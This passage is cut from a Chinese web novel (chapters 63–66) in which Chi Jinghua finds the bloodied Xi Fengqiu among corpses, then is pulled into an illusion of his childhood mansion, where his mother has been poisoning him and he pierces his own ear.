女子根本不听她讲话,完全沉浸在自己的世界里,弯腰将整张脸凑得更近,面颊几近贴着门框,兴致勃勃地打量站在屋内的池镜花。 “你会演戏吗?” 难不成她也是戏班的? 池镜花不禁疑惑,因为女子虽然行为古怪但未着戏服,而且给她的感觉与方才一伙人截然不同。 戏班只是吵闹,而她很古怪,并非一般的奇怪。 在她出神之际,女子从她的眼神中已得出结论,由喉咙深处发出的声音低沉而遗憾。 “看来是不会,真可惜,这样就不能参加游神会了,该怎么办才好呢……” 说罢,女子轻飘飘地转过身,径直往客栈一楼慢悠悠地而去,脚底每每踩踏地板而发出的清脆声音令池镜花有种被刀架在脖子上的窒息感, 不过这同样说明她并非戏班中人。 危机解除,池镜花松了口气,微微低头思索女子的身份,未等她想明白,猛然间意识到另一件事。 不对,奚逢秋为何这么安静! 这里先后出现戏班和黄衣女子,连她都被吵醒了,男配那样敏锐的一个人不可能毫无知觉! 那便只有两种可能,一是他不在房间里,或者,他在忙别的事。 为解答心中疑虑,池镜花站在他门外,抬指轻叩三下门。 无人回应。 更不对劲了。 池镜花开始尝试呼唤他的姓名,结果与刚才一致。 虽然贸然进别人的房间不礼貌,可她实在太好奇了。 “奚逢秋,我进来了!” 架不住旺盛的求知欲,池镜花出声提醒屋内的人一下,紧接着便轻轻推开未曾上锁的木门。 进门首先嗅到一阵极为浓烈的血腥味,入目的暖色烛光仿佛被一滩滩触目惊心的污血浸成鲜红。 她独自适应了好大一会儿才按住狂乱的心跳,胆战心惊地继续往里走,借着烛光看见桌下一截血淋淋的断臂,还有几缕黏着头皮的碎发。 血迹从屋内一直延伸到窗棂,顺着窗户往下滴落,而下面,则是空无一人的街道。 奚逢秋不在屋里,那便只有一种结果。 池镜花立马跑至客栈一楼,问伙计借了盏照明灯笼,毫不犹豫地跑出去,循着血液流经的地点,去找寻她唯一在意的那个人。 虽然她觉得奚逢秋受伤的可能性不大,但他万一若是受了重伤,身边又没个人,死在某处怎么办! 出门太急,她未来得及穿上厚衣服,却感受不到瑟瑟冷意。 池镜花低头提着灯笼,乌发垂落,一直仔细观察地面,沿着血流的痕迹,终于在巷子的尽头看见那抹熟悉的身影。 不远处屋檐上立着他的好搭档白鹤。 少年孤寂地站在残缺不缺的尸体中间,染满血迹的衣袂轻扬,指尖延伸出的丝线丝丝缕缕绕在尸体周边,同时也将他自身困在其中。 借助零落的月光,池镜花发现两具男尸的伤口异常平整,其中有个人正少了只臂膀。 “奚……” 池镜花震惊地吞了口口水,正要喊他,奚逢秋却早已经察觉她的靠近。 月华倾泻而下,给站在月下的少年镀上一层清冷的白,他稍稍偏头回望,脸颊沾上不知名的血迹,同样染血的发丝轻划过颈间,在苍白的皮肤留下一抹艳丽的红。 奚逢秋唇畔轻扬,在她找过来的瞬间,四周的戾气瞬间被刻意敛起,只余下一副乖巧的神情。 “你是来找我的吗?” 不知怎地,在他出声的那一刻,萦绕在池镜花心间的恐惧烟消云散。 她面不改色地跨过残尸,衣摆无意染上尸体上的血迹,快步来到奚逢秋面前,微微仰起头,月光直直坠入眼底,发出淡雅的光辉。 “当然了,除了你我还能找谁!” 说罢,池镜花放下灯笼,踮着脚尖,伸出双手按住他的脸颊,不由分说地在他脸上胡乱地摸,只要沾上血迹的地方都认真检查一遍,想看他究竟有没有受伤。 不管她如何乱来,奚逢秋似乎都很高兴,伸手轻柔地握住她的手指,指腹轻轻摩挲她的指尖,贪恋她的肌肤温度。 奚逢秋另一只手慢慢抬起,自然而然地替她抚平被风吹乱的头发,分明站在尸海中,语调却相当温柔。 “不好奇我为何要杀他们吗?” 池镜花淡定地垂眸看了一眼。 她以为,死去的会是庞氏兄弟二人,毕竟她一直有种感觉:奚逢秋跟庞氏兄弟二人之间有着某种不为人知的联结。 但并非他们,而是两个生面孔。 越来越复杂了。 池镜花想不明白他们与奚逢秋的关系。 与其乱猜,不如问当事人最为妥当。 池镜花眨眨眼,月光下的乌 黑睫羽如翩翩欲飞的蝴蝶。 “好奇啊,那你愿意告诉我吗?” 回想起他们在客栈刚见面,对方却执意要求他跟他们离开的场景,像是土匪,又或者是受什么人指使,为了完成某个任务。 奚逢秋陷入回忆时的目光依旧停留在她身上,并不觉得杀了先动手的他们有什么不对,况且,他还贴心地为他们挑选了个最佳的死亡之地。 “他们,好像是来抓我的。” 但他却不清楚这些人为何要抓他。 第63章 第63章迈入生机的春。 紧闭的门窗几乎隔绝夜间萧瑟,只能听见冷风无情叩击窗棂发出的怪异响动,在空荡而寂寥的房间里回想。 池镜花将褪下的衣裙随意搁在桌上,赫然可见其衣角沾上的鲜红血迹,在冷白的月下隐隐泛着细碎的光。 因方才半夜发生的一切,她躺在床上扯着被子盖住下半张脸,眼睛却亮如星昼,怎么也睡不着,一直在思考那两具尸体跟奚逢秋究竟有何联系。 难不成是之前接悬赏令时结识的仇家? 她思来想去只能想到这唯一的可能性。 还不一定准确。 对了,还有黄衣女子,貌似跟奚逢秋一样知道她身份上的疑点,可当她询问奚逢秋具体情况时,他微微思考片刻,温柔地替她拂去耳鬓碎发,表示不认识黄衣女。 他没理由骗她。 回想起不久前她站在奚逢秋门前注视时的样子,还有询问自己关于奚逢秋的情况,池镜花总觉得黄衣女很了解他。 自从踏入丰朝县,围绕在她身边的怪事越来越多,前一个尚未解决,下一件接憧而至。 大脑过度负荷,池镜花在迷迷糊糊中睡去,翌日天一亮醒来,想着要在辰时赶去悬赏司,一顿鼓捣就赶紧下楼了。 尽管阳光明媚,但飘来的冷空气令池镜花忍不住打了个冷颤。 去往客栈一楼,池镜花一眼便瞧见安静坐在角落里的奚逢秋。 点点日光打在少年俊美的侧脸,几道模糊的光影从窗外投在他的脸颊,他眼眸微微低垂,在察觉池镜花正在靠近时,才抬眸露出个微笑。 男主赵星澜则坐在他对面。 一见她下楼,赵星澜腰间的玉佩晃了晃,站起身高喊了句“池姑娘”,迫不及待地招呼她坐过来。 “池姑娘,好久不见,我听奚公子说你们是昨夜回来的,在邑水村可还顺利?” 池镜花捧着奚逢秋递过来的白粥,低头喝了一口。 “嗯,挺顺利的。” “那就好。” 赵星澜若有所思地点头,又分别看了一眼两人,感受到两人自然又亲密的相处,指腹轻轻摩挲玉佩,或许真如纪望慕所说:他对男女之事过于迟钝! 池镜花早已习惯于男配的服务,全然不觉得哪里不对,况且,每一次都很合她的心意,她还有什么可抱怨的。 正想着,乌泱泱的一群人下了楼,正是昨夜的戏班成员,他们找了几个空桌开始叫客栈伙计上早餐。 同样是替游神会工作,赵星澜与他们属老相识,见到他们不由联想到游神会。 “对了,我目前在游神会做护卫,为期一个月,所以恐怕得一个月才能再次动身前往京师,若是二位着急的话……” “不急不急。” 怕赵星澜说什么分别的话打乱原著剧情,池镜花忙不迭地摆手,截断男主的吟唱。 “没关系,我们可以等的,对吧,奚逢秋!” 墨色发尾在风中轻盈地摇曳,少年单手支脸,稍稍偏头注视着身侧之人,见她毫无防备地吞食着自己准备的食物,唇边扬着愉快的笑,不忘配合地轻轻应声。 “嗯,一个月,不算长。” 见状,赵星澜也不好再说什么。 池镜花吃得差不多后放下瓷碗,一脸认真而探究的神情盯着赵星澜。 “赵道长,这个游神会究竟是什么呀?” 赵星澜迅速将自己了解到的信息全盘托出。 原来所谓“游神会”,不过是讨好傩神的节日,由当地豪绅百姓自发组织,在傩神殿举行,为期一个月。 据说傩神喜爱人间悲欢离合的戏码,所以他们专门请人写剧本,邀戏班每日表演剧本,不过这种表演专供傩神欣赏,普通人看见据说会被傩神诅咒,所以才需要他们这样的护卫,保证外人无法踏足傩神殿。 男主解释得言简意赅,池镜花却觉得疑点重重。 他们用一个月的时间费尽心血地组织游神会,故意演戏给傩神看,且不说傩神喜不喜欢能不能看见,傩神究竟存不存在还不一定呢! 池镜花努力回想原著剧情,发现原著似乎没说傩神是什么。 既如此,那就安心等游神会结束,他们就可以离开这里。 池镜花似懂非懂地点头。 正说着话,昨夜见到的戏班领主缓步走到赵星澜身旁,礼貌提醒他时辰到了,他们该前往傩神殿,为傩神准备表演。 赵星澜轻快地应了一声,起身朝二人告别,随后跟戏班一块离开客栈。 池镜花盯着窗外落寞萧瑟的秋景发了会儿呆,直到视线中飘下枝头上的最后一片黄叶才使她回了神,想起还有要紧事没处理。 “对了,我们也去悬赏司交任务吧。” 语毕,她干脆地拉住一直微笑着、视线不曾离开她半步的奚逢秋,与他一同穿梭在拥挤熙攘的街道。 许是在游神会期间,街上尤为热闹,活泼天真的小孩子蹲在路边,找块破布披在身上表演傩神,随行的几人附和着喊他“小傩神”,一时间,欢声笑语充斥街头巷尾。 当两人找到位于隐秘角落里的悬赏司时,每日负责扫洒的老婆婆正在门口清扫落叶。 阳光微微刺眼,眼神不好听力极佳的老婆婆远远听见有脚步声接近,不由抬头,看见两道模糊的身影,认出是他们,诧异于两人办事效率还挺高。 池镜花笑喊一声“老婆婆”,取出悬赏令,同时交出去的还有吴村长的亲笔信,如此才能证明他们真完成了任务,并非骗赏金。 “二位请稍等。” 老婆婆接过池镜花给予的一切,再三确认没出错,才取出赏金交给池镜花。 如此,这则悬赏令可以就此封存了。 池镜花将银两收好,扭头看见奚逢秋站在窗边的案板前,正低头细细打量着各类悬赏令,片刻后,他望向老婆婆,态度友好地开口询问。 “最近有特别的悬赏令吗?” 老婆婆一时未能理解他话语中的含义。 “何为特别?” “这个。” 当奚逢秋的目光寸寸扫过少女白皙的脸庞,一路向下,如玉的苍白长指指向被风吹落在池镜花脚边的一则悬赏令。 “就很特别。” 阳光投进屋内地面,池镜花好奇地弯腰将其拾起,看见上面写了几行字。 【内容:杂役】 【地点:当地的官府衙门】 池镜花观察半晌没能明白他口中的“特别”在哪。 此时,老婆婆也凑近眯着眼睛打量一番,语速极慢地解释:“这是前段时间上头派下来的,类似的悬赏令还有很多。” 望着任务内容模棱两可的悬赏令,少年像是发现什么有趣的事情,不禁轻笑一声,轻轻地歪了歪脑袋,被日光照到的耳铛透着一束诡异的光。 “真是有意思。” 老婆婆望着他,发出疑问句:“莫非公子想接这则悬赏令?” “不,我们不接!” 在他说完“有意思”几个字后,池镜花脑中探测危险的雷达立即嗡嗡作响。 她一股脑把捡到的悬赏令塞到老婆婆怀里,立马将他拽走,却也不忘跟老婆婆打招呼。 “不好意思,老婆婆,我们还有事,就先走了。” 奚逢秋倒是不反抗,跟在她身后,目光落在牵住自己的葱白指尖,感觉到她有意施加在自己指间的力气,轻声细语地安抚道。 “不要紧张,我并非要接那则悬赏令。” 两人匆匆忙忙已至悬赏司门口,池镜花停下脚步回望身后,颇为不解地眨眼, “可你刚才不是说有意思吗?” 夹杂着清晨寒气的日光落在他四周,眼底闪烁着诡谲的细光,昭示着他已陷入某种兴奋的情绪,声音却轻轻慢慢,透着几分温柔之意。 “那是因为,这些由衙门发出的悬赏令,似乎正是昨夜那两人抓我的原因。” 翻译过来:有人针对他,并借悬赏司发布各类悬赏令。 换句话说,他口中的“有意思”是因为有人让自己有机会随时随地身陷危险。 他既不在乎生死,当然不会在意这个,反而会让他觉得非常高兴。 池镜花张了张口,竟不知该说些什么,似乎不管她怎么努力,都无法撼动他偏执的想法。 一切皆为徒劳。 她唇瓣紧闭没有出声,而是慢慢仰起头, 目不转睛地盯着远处那颗早已光秃秃的树枝,只觉得胸口堵着块巨石,陷入一种原来什么都没有改变的无力感。 尽管她清楚这种消极想法不该有,但却因他而无法控制。 不知什么时候来了一群稚嫩的孩童,他们手拉手在树下不停转圈,高兴地歌唱着她从未听过的歌谣。 “游神会要开始了,傩神来了!” 随着民俗歌谣结束,有女童笑着大喊一声“傩神”,随后,枝叶奇迹般的生出绿叶,萧索的秋天褪去,跨过严寒的冬,迈入生机的春。 池镜花震惊地睁大双眼,呆愣愣地望着眼前猝然变幻的景色,已完全不知发生何事,只能听见黄衣女虚无缥缈的声音。 “我觉得他的故事很有意思,可是,有一部分内容我却不大喜欢。” “你觉得呢?” 黄衣女的声音无意唤回她的神识,池镜花立马低头查探一番,发现自己完好无伤,又抬起头,欲寻奚逢秋。 不想没看到他人,却有一位端着瓷白汤碗、梳着的双丫髻的丫头站在她跟前,挡住午后日光的同时,也遮盖她的的全部视线。 小丫头离得很近,将整张脸凑到她跟前,仔仔细细地上下端详着她,眸底忽闪清澈而疑惑的光芒。 “你是谁呀?我怎么没在王府里见过你?” 第64章 第64章那要抱抱我吗? 天气正好,阳光明媚,蓦然跨过秋冬时节,眨眼间寒气退散,四周春意盎然,微风阵阵,鸟语花香。 池镜花一言不发地跟着丫鬟小糖,虽然方才情急之下撒谎说自己是王府新来的丫鬟,可却是一头雾水。 她几次三番地尝试呼唤系统,皆毫无反应,只能看见好感度一直停留在45,也就是说,这并非出自系统手笔。 当然,就算妖鬼也不能随便违背时空规律穿到过去改变已发生的事件,否则不就乱套了嘛。 所以,池镜花大胆猜测她可能被黄衣女拖进某个幻境里。 而且极有可能跟奚逢秋有关。 如此推断,这里应是男配的家! 池镜花以前只在系统的安排下,以夫子的视角在王府待过小半天,但也不过安静地陪在小奚逢秋身旁看他练字而已。 这回把她拖入幻境是要做什么? 池镜花低头思索着,不想差点撞上小糖,抬头看见小糖已绕过院内莲池,停在她所熟悉的房间门口。 她忽然想起这碗汤药也许是奚逢秋的母亲苗献仪为他准备的。 念及此,身为王府新晋丫鬟,池镜花立马举起手,主动请缨替老人分担忧愁。 “要不我来吧。” 本就害怕见到世子已在门口踌躇多时的小糖她闻声回头,望见她眼里的新兵蛋子无所畏惧地露出期待神色,阳光下的杏眼熠熠生辉,思索片刻将汤碗交给池镜花,并好声提醒一句。 “世子虽然看着温和有礼,但其实很奇怪的,你进去以后要当心点。” 迫不及待只想赶紧见到奚逢秋的池镜花微微笑着,忙不迭地点头。 “嗯,我知道了。” 小糖远远地站在一旁不愿靠近门口,“那我就在这等你,你快去快回!” 池镜花抿唇点头,一副乖巧听话的模样,让人不疑有他地把她当成新来的丫鬟。 古旧的木门虚掩着,池镜花捧着瑶盘,只需用手肘轻轻一推,整个人便跨入房间。 穿堂而过的徐徐微风夹杂一抹熟悉的香气,同时卷来一张红色纸人,摇摆着降落在她脚边。 放眼望去,地板上铺满形形色色的古怪纸人,偶尔掺杂着几张墨迹未干的字帖。 池镜花心脏猛地漏跳一瞬。 待她继续往里走,穿过藏青色的屏风,终于在窗棂边上,看见一道再熟悉不过落寞而清瘦的背影。 池镜花以为会跟以前一样会看见小奚逢秋,但事实并非如此。 少年孤寂地立于窗前,修长苍白的五指轻轻搭在窗边,视线遥遥望向窗外春景,衣袂和发丝随风轻扬,温暖日光将他的影子投在纸人和练字帖上。 察觉到有熟悉的气息靠近,奚逢秋偏头看向身后,微微笑着,却看不出悲与喜,仿佛戴着一具温柔的假面,朝少女缓慢地摊开掌心。 “是给我的吗?” 想到这碗汤药极有可能是毒药,池镜花泛白的指尖捏着瑶盘的边角,随着玉石的冰凉沁入肌肤,她用力咬了咬下嘴唇。 “这是……” 感受到她流露出的抗拒情绪,奚逢秋慢步踩过纸人和练字帖,来到她面前,单手端起汤碗,毫不犹豫地一饮而尽。 池镜花来不及阻止,只能看见他喉结微微滚动,已将毒药全部吞咽,她慢慢睁大眼睛,震惊到言语系统失去作用。 “你——!!” “没关系。” 身体长年被各种毒素渗入,毒药早已对他影响不大,奚逢秋神色依旧平静,眼底半分情绪波澜都无,语气可以算得上温柔似水。 “过去就是如此。” 过去的确如此。 他的母亲为了用他拴住父亲,总要给他喂毒,逼他喊疼,以为能换来父亲的一个眼神一个回首,最终似乎并非如此。 虽然池镜花隐约知道怎么回事,但没有揭人伤疤的坏习惯。 她将瑶盘放下,又从他手里抢过汤碗,抬起亮晶晶的双眸,指着自己的脸颊,为让他看清自己而迎着太阳,露出自己的全部。 “奚逢秋,你还认识我吗?” 夹杂着少女清澈之音的清风掠过他的耳畔,奚逢秋极为不解地歪了下脑袋,乌黑的发丝微微荡过颈侧。 “好奇怪,为何这样问?” 他懵懵懂懂的反应已给出答案。 池镜花轻轻摇了摇头,“没什么。” 奚逢秋却觉得她的问句很有意思。 少年逆光而立,窗外斑驳的树影投在他浅白的衣间,衣袂在风中无意缠住她的,他蓦地弯了弯唇,眼底不经意地流露出一丝欣喜之色。 “是害怕我会失忆吗?” 隐藏许久的小心思被他一语戳破,池镜花尴尬得脸颊迅速升温泛红,闭眼承认时脱口而出的句子语速极快。 “是啊是啊!因为这里大概率是幻境,万一你失去记忆,不再是我认识的奚逢秋怎么办?所以我很害怕!” 其实,她的担心不无道理,看似两人同时被塞进幻境,肉|体虽完好无损,但得确认内里也没出错,是他们彼此在现实生活中所熟识的对方才行。 望着站在自己面前的明媚少女,奚逢秋克制不住伸手绕到池镜花的身后,手指轻柔地抚摸着她的冰凉发丝。 “不要担心,我一直都记得你,而且,我们也会离开幻境的,只是需要一点时间。” 提及幻境,池镜花情急之下伸出双手用力捉住他的肩胛,仰面直勾勾地盯着他的双瞳,离得近了,再次嗅见隐各种花香里的清香。 “你有什么好办法吗?” 池镜花讨厌这个幻境,不光是不熟悉这里的一切,更是因为王府本就承载着男配不愉快的回忆,她怕他失控出事。 奚逢秋缓慢探出左手,阳光下的惨白指尖生出几缕银白的丝线,平日里的利器此刻却是蔫蔫的,没什么生机,更毫无杀伤力,像是被刻意削了武力值压制住力量一般。 见状,他脑袋略垂,眼睫轻颤,微不可察地轻声叹息。 “虽然很想立刻毁了这里,但好像不太行。” 当“毁”字从他口中轻而易举地吐出时,池镜花便知她的担心不无道理,可能一不注意,就会让他走向毁灭结局。 当 意识到这点的池镜花骤然本能地一把握住他的指尖,死死攥在手心,不指望能消除积压在他心底的负面情绪,至少能给予他点安慰。 面对池镜花毫无征兆的“牵手”行为,奚逢微微怔愣,指尖传来的温热和柔软,而后愉快的笑意浮上眼底。 “为何要牵我?” 池镜花垂头望着他们紧密相连的手指,以指腹不安地摩挲他的皮肤,夹带些许哄人安抚的意味,发出声音有点闷。 “没什么,就是突然很想碰碰你。” 他静静垂眸望着少女额前飞扬的碎发,盛着淡淡笑意的灼灼目光一寸寸扫过她白皙的面庞、红润的唇瓣、纤弱的脖颈,莫名很想要他们离自己再近些。 “那要抱抱我吗?” 当夹带愉悦的泠泠嗓音轻轻敲击着她的耳膜,池镜花猝然抬头。 一缕金色的日光斜落在他的侧脸,他微微笑着,神色认真地观察着她接下来的一切反应。 池镜花没动,只眨了一下眼睛。 见她迟迟不曾靠近,奚逢秋不禁有些疑惑,语气中透出几分遗憾之情。 “不抱吗?” 池镜花发现,这个人……真的好可恶啊! 要么就是被动等她主动靠近,就算偶尔一次主动也是带有目的性。 分明无比期待而且喜欢接近她,却反过来问她要不要,有时候甚至还会引诱她,分明只是一个拥抱,她难不成还会拒绝嘛! 下一瞬,池镜花咬牙“唰”地一下,双臂跨过他的肩胛搂住他的脖颈,整个人贴了上去,无声胜有声,以实际行动做出强有力的回复。 在她奋力扑进自己怀里的瞬间,奚逢秋微微仰头,喉间难以自抑地溢出一声满足的轻笑。 他开始一手按住她的后脑,一手悄然绕过身后,按住她的肩胛,力气不知不觉中一点点收紧,直到他们彼此之间再无多余空隙。 只有这个时候,池镜花才能切实感受到他的主动,可总要她先于对方才可以。 可恶得很。 池镜花没说话。 当自己微微发热的脸颊紧贴着他的颈侧时,池镜花似清晰听见对方埋在皮下血管中血液缓慢流动的细微响动,逐渐融于自身澎湃的心跳声。 四周静悄悄,一时间,谁也不曾开口打破平静,只想享受这片刻的安宁时光。 她慢慢略微抬头,长发剐蹭过他的皮肤,与他四目相对。 池镜花慢腾腾地探出指尖,先是尝试触碰他的左耳耳垂,见他只是长睫忍不住震了一下,并无抵抗情绪,又坏心眼地捏了下。 “对了,你的耳铛怎么不见了?” 关于这一点,池镜花从进门的那一刻就发现了。 外表没变,内里没变,但是耳铛不见了。 甚至,当她摸上去的时候,发现连耳洞都消失了! 若不是试探过就是奚逢秋本人,她该怀疑是不是别人假扮的。 奚逢秋稍稍松开一直禁锢她的双手,精准握住她胡作非为的手指,引导池镜花贴上自己的脸颊,讨好似的轻轻蹭了下她的掌心。 “很好奇吗?” 不管他如何渴望她的贴近,池镜花均不会反感,她逐渐敛去所有力气,任由他轻轻肆意轻捏自己的指尖。 池镜花老实巴交地点头。 “嗯,很好奇。” 似是料到她会这般说,奚逢秋也早已准备好说辞,渐渐的,双眼已漫上一层古怪而兴奋的笑,话语落地时的尾调轻扬。 “那明日午后你来王府的后花园,我告诉你答案,可以吗?” 第65章 第65章给他戴上。 微风不燥,轻轻卷动铺在地面上的纸张,发出的沙沙声逐渐消藏于哒哒的脚步声中。 双手捧着瑶盘走出房间时,池镜花的目光便一直落在空置的汤碗上,其实思绪已经走神好大一会儿。 虽然她答应奚逢秋明天一定会去花园,但总觉得他好像暗暗在计划什么。 是跟这个幻境有关吗? 但当池镜花好奇心大起,正要追问下去的时候,少年轻抬一指,指尖落下的光影不经意攀上她的衣上,她看见奚逢秋隔着屏风指向门外。 “外面好像有人在等你,不过去吗?” 虽是疑问句,但她却听出逐客的意思。 见状,池镜花不好继续待下去,收拾一下赶紧退出房间。 出门一抬头,尚未聚焦的视线晃过碧绿莲池,朦朦胧胧看见站在池边的小糖正笑着冲她招手示意。 “你在里面待了很长时间,是发生什么事情了吗?” 听她这般询问,池镜花只极轻地摇头否认,眼睛不曾眨一下,神色自若到叫人看不出任何异样。 “没发生什么,一切都很顺利。” “那就好。” 小糖抚着心口长舒一口气,又举止自然地从手里接过玉石瑶盘,两只眼睛弯成月牙形状。 “谢谢你帮我送药,接下来就交给我吧,你先回去休息,有事我再找你。” 春日暖阳下,池镜花望着她听话点头,投在脸颊的模糊枝影随风飘荡,更衬得她皮肤白皙透亮无暇。 小糖忍不住多看两眼才离开。 在她走后,池镜花发现整个别苑空无一人,只有奚逢秋房间的门是开着的,但她刚被请走不好意思再折返。 只好先四处熟悉一下幻境情况。 因为压根不了解王府,池镜花只能凭感觉漫无目的地四处闲逛,却丝毫不避旁人。 若是被人指出为何从未见过自己,她就大大方方地扯出小糖,说是由小糖领她进来做丫鬟,因为小糖有事要忙,所以只好先一个人先熟悉府内情况。 虽在胡说八道,但只要她脸不红心跳地搬出府中老人,大多数情况下,他们也就信了。 她嘴甜,逢人净挑好听的说,在此情况下,就更加行动自如。 经过一下午的八方打听,池镜花确定这里就是十年前位于位于江南锦州的晋王府,人也是十年前的那批人,唯一的变量是她跟奚逢秋。 按照时间推测,十年前,他应以孩童的年纪待在王府,可现在,王府却没有这号人,而是由十年后的奚逢秋顶了十年前的位置。 由此可得,造出此幻境的人只是想要搭建十年前的时空场景,可实际上并不想要小时候的奚逢秋出场,所以才造就眼下情况。 不过有点可以确信:破除幻境的方法在奚逢秋自己身上! 这也是他看上去如此奇怪的原因。 至于池镜花自己为何也会被拖入幻境……她想不明白! 但总有种附赠品的感觉。 夜深,屋内蜡烛燃尽,窗外明月高悬,月光从窗棂泄进房门,淡青色的床幔被被风轻轻扬起,空气中弥漫着若有似无的花香。 池镜花蒙住脑袋长叹一口气,心里有种说不上来的憋屈感。 察觉到另一张床上的少女尚未入睡,小糖侧过身,将手当做枕头枕着,眼睛轻眨,缓慢道出安抚的话语。 “习惯习惯就好了。” 池镜花掀开被子,转过头,一时没反应过来。 “什么?” 被安排与她住同一间房的小糖笑容灿烂,“我刚来的时候也跟你一样,一到晚上就特别想家,但是现在不会了。” 习惯就会如此。 即便池镜花心里跟明镜似的,但计划话题拐向自己感兴趣的内容,故意有样学样地侧过身,迷蒙的月光打在床边,她弯眼露出明媚的笑。 “是因为王爷王妃人很好吗?” “王爷不清楚,一年到头也没见过几次,据说一直守在京师,但是王妃……” 说到苗献仪,小糖忽而眉头微蹙,露出纠结不已的神情,“不好说,有点怪。” “什么叫有点怪?” 池镜花下意识追问,意识到自己过于积极的行为恐会惹人怀疑,于是又忙不迭地笑着打补丁。 “我的意思是,如果我能提前了解王妃的喜好,以后做事也不容易出差错。” 见状,小糖微微愣住几秒,忽地“噗嗤”一声笑出来,“没想到你看着老实巴交,倒挺机 灵的。” 老实池镜花可以随性伪装,但对奚逢秋的一切很感兴趣却无法隐藏。 她只能露出尴尬又不失礼貌的微笑。 此时,小糖每亦不再为难她,而是大方地将自己所掌握到的一切分享给新人。 “其实我也不太清楚,自我进入王府以来,就听说王妃情绪很不稳定,貌似也一直不太喜欢世子。” 淡雅月华静悄悄地偏移至少女脸颊,飘荡的床幔影子时不时落在她身上。 忽暗忽明间,池镜花眨眨眼,有意扮出一副懵懂天真的模样,以此来降低对方的心理防线。 “那今天下午你让我送给世子服下的那碗汤药是什么呀?” “补品啊。” 小糖不假思索地张口就答。 “你没看出来吗?世子身体不太好,而且听说没有痛觉,所以王妃才要每日命人替他熬药,说来也奇怪,自世子开始服药后,王爷回家的次数好像多了点,不过最近又不大回来了,我也不知道怎么回事。” 小糖所言与她所知道的相悖,但是比起补品,池镜花更愿意相信那是毒药。 联系她曾在系统安排的梦离听苗献仪说过“你喝药他就会回来”,池镜花更加确信就是毒药,并非补品。 况且,奚逢秋今天下午喝药时的反应跟他体内的毒素就是最好的证据。 ……是他的母亲利用奚逢秋来拴住他的父亲吗? 当然,这只是她的大胆猜测,但或许可以借此机会大胆求证一下。 念及此,池镜花一手挡在唇边,刻意放低声音。 “王爷跟王妃他们……关系不好吗?” 小糖漆黑的眼珠子转了一圈,思索半分钟,小声回复:“不瞒你说,刚来王府那阵,我也曾怀疑是不是王爷想找侧室王妃不允,所以他才故意留在京师不回家,但是后来才知道,原来王爷除了王妃,从来没有过别的女人,他一直都很爱很爱王妃。” 在她说完后,池镜花彻底懵了。 既然他们两人感情未曾破裂,那为什么一个故意有家不回,一个精神状态不好。 这两个人究竟在极限拉扯什么啊? 感情经历一片空白的池镜花大为震惊。 她转过身平躺着,微微睁大双眼,已听不进小糖在说什么。 在心里先后将自己代入他们任何一方,可不管怎么代入,都无法理解他们所作所为。 既然有彼此相爱,那为什么还要瞎折腾? 再说了,他们折磨的不是奚逢秋吗! 因为一直在思考这事,导致她一整夜没怎么睡好。 翌日还得起早去厨房帮忙烧火,没有一点歇息的时间。 当被黑灰色的烟火呛得咳出眼泪时,池镜花不由对造成这个幻境的幕后之人怨念加深一层。 烧了一上午的火,好不容易等到午膳都做好,池镜花才有机会休息片刻,但一想到昨日答应奚逢秋的事情,甚至连脏衣服都没来得及换下就循着记忆里的路线往后花园走找去。 浅蓝色的裙摆拂过草丛,池镜花一路小跑穿过幽暗的长廊和几座凉亭。 午后眼光刺眼,远远地,她停在姹紫嫣红的花丛中,只看到位身着黑色华服的女人正对着她站在前头,身后还跟着两名眼熟的丫鬟。 池镜花认出这是苗献仪。 而背对着自己而站的奚逢秋左耳似受了伤,鲜红的血从他的耳垂滴到肩上,晕出一朵朵艳丽的花朵。 少年身姿颀长,垂落的乌发轻扬,右手握着握住一根银白色的长针,而针上沾着刺目的血迹,在太阳底下格外醒目。 空气中除了花香还有淡淡血腥。 池镜花心跳猛然提速。 她好像知道发生什么事了。 “疯子!” 在情绪失控地大骂以后,苗献仪立马恢复平静,眼底半分情绪都无,站在奚逢秋面前,就像是毫无情感地在打量一件无关紧要的装饰品。 “原来,你跟他一样,都是疯子。” 似乎每个人都在与她作对,她与那个人的儿子,对她来说,不过是一把趁手的锁链,明明只需乖乖顺从就好,竟还学会了反抗。 苗献仪失笑一声,似是在嘲笑他的出格举动,别在发间的在阳光下珠钗耀眼地晃了一下。 她慢悠悠地绕过他的身侧,停在匆匆赶来的池镜花身侧,从自己的耳间卸下一只耳坠,将其随意丢在花丛里,僵硬转动瞳孔,冰凉的视线停在少女侧脸。 “给他戴上。” 垂眸望着被凋零的花朵掩盖大半的血红耳铛,池镜花才知原来这竟来源于他的母亲。 她一时怔在原地。 此时此刻,早已察觉到她的到来,奚逢秋微微偏过头,左耳尚未凝结的血珠坠在花瓣上,顺着花瓣的纹理砸向地面,混进土里,化为肥料。 正如十年前他为求证痛觉是否真的消失一般,现在,他依旧感受不到丝毫疼痛,但跟那是却有些不同。 当池镜花遵守承诺来找到他时,心中没有来由的生起一股难以言说的愉悦之情。 他不由地缓慢伸出左手,十分期待她可以握上自己的,哪怕并非手也行,只是需要她再靠近一点,就连语气里都掺杂着耐人寻味的温柔和蛊惑人心的诱哄。 “别害怕,按照她说的话做就好。” ——只有这样,他们才有机会离开幻境。 第66章 第66章气息肆无忌惮地往下探去。…… 当池镜花看见滴在他脚边低矮的白芍药旁时,她似乎只能闻见空气中传来的淡淡铁锈气味,已完全盖住浓郁的花香。 仿佛她的每一次的呼吸都会将这股血腥送入肺腑,于是,心跳开始不受控制地加速,就能思考能力也受到限制。 就在此时,徐徐的微风中传来两名丫鬟极轻的笑声。 池镜花蓦然偏头,瞧见跟在苗献仪身后的两名丫鬟稍稍捂住嘴巴,和苗献仪的冷漠不同,她们则以嘲弄眼神上下打量着少年,仿佛是在说:原来这般高高在上的人竟会卑微至尘埃。 活得还不如她们嘛。 两人不加掩饰,因为从一个身份地位都比自己高出许多的人身上获取这种优越感是极度愉快的。 当然,造成这种情况的元凶是男配小时候恶劣的生存状况。 正所谓主子什么态度,下面的人什么动作。 “池镜花。” 思考间,奚逢秋几步来到她跟前,将埋进青绿草丛里的耳铛捡起,弯腰偷偷塞进她右手,微凉的指腹缓慢划过她的掌心。 “我看不见,你可以帮帮我吗?” 掌心传来的温度令池镜花意识回笼,听见耳边传来轻柔的声音,她握了握左手,不停转着脑袋左右仔细观察情况。 周围除了他们再无其他人。 见状,池镜花抓住他的肩胛,直接把人按倒。 五颜六色的花叶从他眼前划过,少女突如其来的主动令他反应不及,幸得倒下的最后一秒他紧急十指撑地,才没让自己和她直接睡在花丛里。 回过神来,池镜花已坐在他腿上,彼此身下的衣裳乱作一团,又皱在一起。 茂密的花丛绿叶将两人的身影盖了个严实,若非走近观察,是万万不会发现这里原来还藏着两个人。 